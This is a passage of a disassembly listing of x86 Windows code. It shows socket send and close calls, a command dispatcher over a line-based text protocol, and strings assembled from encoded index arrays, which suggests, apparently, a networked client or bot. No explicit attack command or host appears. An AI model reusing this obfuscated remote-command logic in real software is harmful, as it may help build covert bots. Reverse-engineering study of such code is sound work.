		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+7Eh]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411A50	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411B10	proc near		; CODE XREF: sub_4019D3j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	[esp+4+arg_0], 1
		jz	short loc_411B28
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_411B28:				; CODE XREF: sub_411B10+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_411B10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_411B40	proc near		; CODE XREF: sub_401A0Aj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411B40
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		test	esi, esi
		jz	short loc_411B66
		lea	edi, [esi+11h]
		jmp	short loc_411B68
; ---------------------------------------------------------------------------


loc_411B66:				; CODE XREF: sub_411B40+1Fj
		xor	edi, edi


loc_411B68:				; CODE XREF: sub_411B40+24j
		push	0
		push	17h
		push	1
		push	12h
		push	4Fh
		lea	eax, [esp+5Ch+var_3C]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	edi
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+250h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_411B40	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411BBC
		lea	ebx, [esi+11h]
		jmp	short loc_411BBE
; ---------------------------------------------------------------------------


loc_411BBC:				; CODE XREF: ___:00411BB5j
		xor	ebx, ebx


loc_411BBE:				; CODE XREF: ___:00411BBAj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	5
		push	12h
		push	4Fh
		lea	edx, [esp+38h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 34h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+27Eh]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C1B
		lea	ebx, [esi+11h]
		jmp	short loc_411C1D
; ---------------------------------------------------------------------------


loc_411C1B:				; CODE XREF: ___:00411C14j
		xor	ebx, ebx


loc_411C1D:				; CODE XREF: ___:00411C19j
		push	0
		push	14h
		push	12h
		push	1
		push	10h
		push	4Fh
		lea	ecx, [esp+24h]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 2
		call	sub_4017E4
		lea	edx, [esi+1C6h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C70
		lea	ebx, [esi+11h]
		jmp	short loc_411C72
; ---------------------------------------------------------------------------


loc_411C70:				; CODE XREF: ___:00411C69j
		xor	ebx, ebx


loc_411C72:				; CODE XREF: ___:00411C6Ej
		push	0
		push	5
		push	4
		push	0Fh
		push	0Dh
		push	4Fh
		lea	eax, [esp+24h]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 3
		call	sub_4017E4
		lea	ecx, [esi+16Ah]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411CC5
		lea	ebx, [esi+11h]
		jmp	short loc_411CC7
; ---------------------------------------------------------------------------


loc_411CC5:				; CODE XREF: ___:00411CBEj
		xor	ebx, ebx


loc_411CC7:				; CODE XREF: ___:00411CC3j
		push	0
		push	7
		push	13h
		push	0Dh
		push	4Fh
		lea	edx, [esp+20h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+1F4h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D18
		lea	ebx, [esi+11h]
		jmp	short loc_411D1A
; ---------------------------------------------------------------------------


loc_411D18:				; CODE XREF: ___:00411D11j
		xor	ebx, ebx


loc_411D1A:				; CODE XREF: ___:00411D16j
		push	0
		push	5
		push	3
		push	9
		push	14h
		push	0Fh
		push	0Eh
		push	4Fh
		lea	ecx, [esp+2Ch]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 5
		call	sub_4017E4
		lea	edx, [esi+0B2h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D71
		lea	ebx, [esi+11h]
		jmp	short loc_411D73
; ---------------------------------------------------------------------------


loc_411D71:				; CODE XREF: ___:00411D6Aj
		xor	ebx, ebx


loc_411D73:				; CODE XREF: ___:00411D6Fj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	13h
		push	9
		push	4
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 38h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 6
		call	sub_4017E4
		lea	ecx, [esi+56h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411DCF
		lea	ebx, [esi+11h]
		jmp	short loc_411DD1
; ---------------------------------------------------------------------------


loc_411DCF:				; CODE XREF: ___:00411DC8j
		xor	ebx, ebx


loc_411DD1:				; CODE XREF: ___:00411DCDj
		push	0
		push	14h
		push	13h
		push	0Fh
		push	8
		push	14h
		push	5
		push	7
		push	4Fh
		lea	edx, [esp+30h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 7
		call	sub_4017E4
		push	eax
		lea	eax, [esi+10Eh]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E2A
		lea	ebx, [esi+11h]
		jmp	short loc_411E2C
; ---------------------------------------------------------------------------


loc_411E2A:				; CODE XREF: ___:00411E23j
		xor	ebx, ebx


loc_411E2C:				; CODE XREF: ___:00411E28j
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	14h
		push	5
		push	0Eh
		push	4Fh
		lea	ecx, [esp+30h]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 8
		call	sub_4017E4
		lea	edx, [esi+198h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E85
		lea	ebx, [esi+11h]
		jmp	short loc_411E87
; ---------------------------------------------------------------------------


loc_411E85:				; CODE XREF: ___:00411E7Ej
		xor	ebx, ebx


loc_411E87:				; CODE XREF: ___:00411E83j
		push	0
		push	0Eh
		push	9
		push	0Fh
		push	0Ah
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 9
		call	sub_4017E4
		add	esi, 13Ch
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+44h], edi
		call	sub_401226
		mov	ecx, [esp+3Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411FE0	proc near		; CODE XREF: sub_401AB9j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411FE0
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+90h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+45h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412509
		lea	ecx, [edi+26Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412509
		lea	ecx, [edi+0A1h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4120E2
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		mov	edx, dword_4470F0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset dword_443CDC
		push	edi
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+94h+var_84]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_4120E2:				; CODE XREF: sub_411FE0+70j
		lea	ecx, [edi+187h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412159
		add	edi, 0FFFFFFEFh
		lea	eax, [esp+94h+var_6C]
		push	eax
		mov	ecx, edi
		call	sub_401D39
		mov	ecx, eax
		mov	[esp+94h+var_4], 2
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	edi
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_412159:				; CODE XREF: sub_411FE0+117j
		lea	ecx, [edi+0FDh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412214
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+17h]
		mov	[esp+98h+var_4], 3
		call	sub_4018A2
		or	ebp, 0FFFFFFFFh
		lea	ecx, [esp+94h+var_6C]
		mov	ebx, eax
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jz	loc_412532
		lea	ecx, [esp+94h+var_6C]
		add	edi, 0FFFFFFEFh
		push	ecx
		mov	ecx, edi
		call	sub_401D39
		mov	ecx, eax
		mov	[esp+94h+var_4], 4
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	edi
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_412214:				; CODE XREF: sub_411FE0+18Ej
		lea	ecx, [edi+12Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4122BD
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	edx, [esp+98h+var_6C]
		mov	ebx, 5
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 6
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		mov	eax, dword_4470F4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_4122BD:				; CODE XREF: sub_411FE0+249j
		lea	ecx, [edi+1B5h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41232B
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_6C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+94h+var_4], 7
		call	sub_4017E4
		mov	edx, dword_447120
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSS_0	; "%s %s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41232B:				; CODE XREF: sub_411FE0+2F2j
		lea	ecx, [edi+23Fh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41238D
		lea	eax, [esp+94h+var_6C]
		push	9
		push	eax
		mov	ecx, esi
		call	sub_401E2E
		mov	ecx, eax
		mov	[esp+94h+var_4], 8
		call	sub_4017E4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset dword_443CD4
		push	edi
		call	sub_401E0B
		add	esp, 0Ch
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41238D:				; CODE XREF: sub_411FE0+360j
		lea	ecx, [edi+1E3h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41242D
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+9Ch+var_6C]
		push	2
		push	edx
		mov	ecx, esi
		mov	[esp+0A4h+var_4], 9
		call	sub_4011EA
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Ah
		call	sub_4014D3
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [edi-11h]
		call	sub_401118
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41242D:				; CODE XREF: sub_411FE0+3C2j
		lea	ecx, [edi+159h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412532
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_24]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_3C]
		push	2
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], 0Bh
		call	sub_4016AE
		mov	ebx, eax
		push	offset asc_443600 ; " "
		lea	edx, [esp+98h+var_54]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0A0h+var_4], 0Ch
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Dh
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		mov	eax, dword_447124
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset dword_443CC4
		push	edi
		call	sub_401E0B
		add	esp, 18h
		lea	ecx, [esp+94h+var_54]
		mov	byte ptr [esp+94h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+94h+var_3C]
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+94h+var_24]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_412532
; ---------------------------------------------------------------------------


loc_412509:				; CODE XREF: sub_411FE0+3Aj
					; sub_411FE0+55j
		xor	ebx, ebx
		mov	[edi+0Fh], ebx
		mov	[edi+0Bh], ebx
		mov	[edi+5], bl
		mov	[edi+4], bl
		mov	ecx, [edi+7]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_448C8E
		mov	dword ptr [edi+7], 0FFFFFFFFh
		call	sub_401537


loc_412532:				; CODE XREF: sub_411FE0+FDj
					; sub_411FE0+174j ...
		mov	ecx, [esp+94h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn	4
sub_411FE0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4126B0	proc near		; CODE XREF: sub_401D39j

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4126B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+50h+var_24]
		mov	[esp+50h+var_48], 0
		call	sub_401424
		xor	eax, eax
		lea	ecx, [esp+50h+var_4C]
		mov	[esp+50h+var_44], eax
		lea	edx, [esp+50h+var_44]
		mov	[esp+50h+var_40], eax
		push	ecx
		mov	[esp+54h+var_3C], eax
		push	edx
		mov	[esp+58h+var_38], eax
		mov	eax, [esi+18h]
		push	eax
		mov	[esp+5Ch+var_4], 1
		mov	[esp+5Ch+var_4C], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+50h+var_40+3]
		mov	edx, [esp+50h+var_40+2]
		mov	eax, [esp+50h+var_40+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+54h+var_40]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+60h+var_34]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5EA1BD
		add	esp, 18h
		lea	ecx, [esp+50h+var_24]
		push	offset byte_446F60
		call	sub_4015D7
		push	offset dword_443D08
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		lea	eax, [esp+50h+var_34]
		lea	ecx, [esp+50h+var_24]
		push	eax
		call	sub_401A9B
		push	offset dword_443D04
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		add	esi, 28h
		lea	ecx, [esp+50h+var_24]
		push	esi
		call	sub_4016BD
		push	offset dword_443D04
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		lea	ecx, [esp+50h+var_34]
		push	ecx
		call	sub_401479
		add	esp, 4
		test	al, al
		jz	short loc_4127BB
		push	offset dword_443CF8
		jmp	short loc_4127C0
; ---------------------------------------------------------------------------


loc_4127BB:				; CODE XREF: sub_4126B0+102j
		push	offset dword_443CEC


loc_4127C0:				; CODE XREF: sub_4126B0+109j
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_24]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+50h+var_48], 1
		lea	ecx, [esp+50h+var_24]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+50h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 4Ch
		retn	4
sub_4126B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412870	proc near		; CODE XREF: sub_401582j

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+18h]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	eax
		call	near ptr 71AB428Ah
		nop
		mov	edx, eax
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_4128CE
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_448C8E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401537
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4128CE:				; CODE XREF: sub_412870+33j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		retn	4
sub_412870	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412900	proc near		; CODE XREF: sub_401E0Bj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_436840
		mov	ecx, [esp+arg_2004]
		lea	eax, [esp+arg_2008]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_401582
		add	esp, 2000h
		retn
sub_412900	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412970	proc near		; CODE XREF: sub_401118j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_412970
		push	eax
		mov	al, [esp+0Ch+arg_0]
		mov	large fs:0, esp
		sub	esp, 30h
		test	al, al
		push	esi
		mov	esi, ecx
		jz	short loc_4129A7
		xor	al, al
		pop	esi
		mov	ecx, [esp+3Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_4129A7:				; CODE XREF: sub_412970+21j
		lea	ecx, [esp+40h+var_3C]
		call	sub_401424
		mov	al, [esp+40h+arg_4]
		mov	[esp+40h+var_4], 0
		test	al, al
		jz	short loc_4129C8
		mov	eax, dword_4470F0
		push	eax
		jmp	short loc_4129CF
; ---------------------------------------------------------------------------


loc_4129C8:				; CODE XREF: sub_412970+4Ej
		mov	ecx, dword_4470F8
		push	ecx


loc_4129CF:				; CODE XREF: sub_412970+56j
		lea	ecx, [esp+44h+var_3C]
		call	sub_4015D7
		push	ebx
		lea	ecx, [esp+44h+var_24]
		call	sub_401424
		mov	edx, [esp+44h+arg_8]
		mov	eax, [esp+44h+arg_C]
		push	edx
		push	eax
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+50h+var_24]
		push	offset dword_443CDC
		push	ecx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+44h+var_24]
		call	sub_4014D3
		push	eax
		mov	ecx, esi
		call	sub_401582
		lea	ecx, [esp+44h+var_24]
		mov	bl, al
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+44h+var_C]
		mov	al, bl
		pop	ebx
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_412970	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412AA0	proc near		; CODE XREF: sub_401848j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= dword	ptr  200Ch
arg_200C	= dword	ptr  2010h
arg_2010	= dword	ptr  2014h
arg_2014	= byte ptr  2018h

		mov	eax, 2000h
		call	sub_436840
		mov	ecx, [esp+arg_2010]
		lea	eax, [esp+arg_2014]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	eax, [esp+10h+arg_200C]
		mov	edx, [esp+10h+arg_2008]
		add	esp, 10h
		lea	ecx, [esp+0]
		push	eax
		mov	eax, [esp+4+arg_2004]
		push	ecx
		mov	ecx, [esp+8+arg_2000]
		push	edx
		push	eax
		call	sub_401118
		add	esp, 2000h
		retn
sub_412AA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B20	proc near		; CODE XREF: sub_401D0Cj
		push	esi
		mov	esi, ecx
		call	sub_401FB9
		mov	eax, [esi+1Ch]
		inc	eax
		mov	[esi+1Ch], eax
		pop	esi
		retn
sub_412B20	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B50	proc near		; CODE XREF: sub_401FB9j
		push	esi
		mov	esi, ecx
		xor	al, al
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_448C8E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401537
		pop	esi
		retn
sub_412B50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B90	proc near		; CODE XREF: sub_401721j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_412B90	endp

; ---------------------------------------------------------------------------
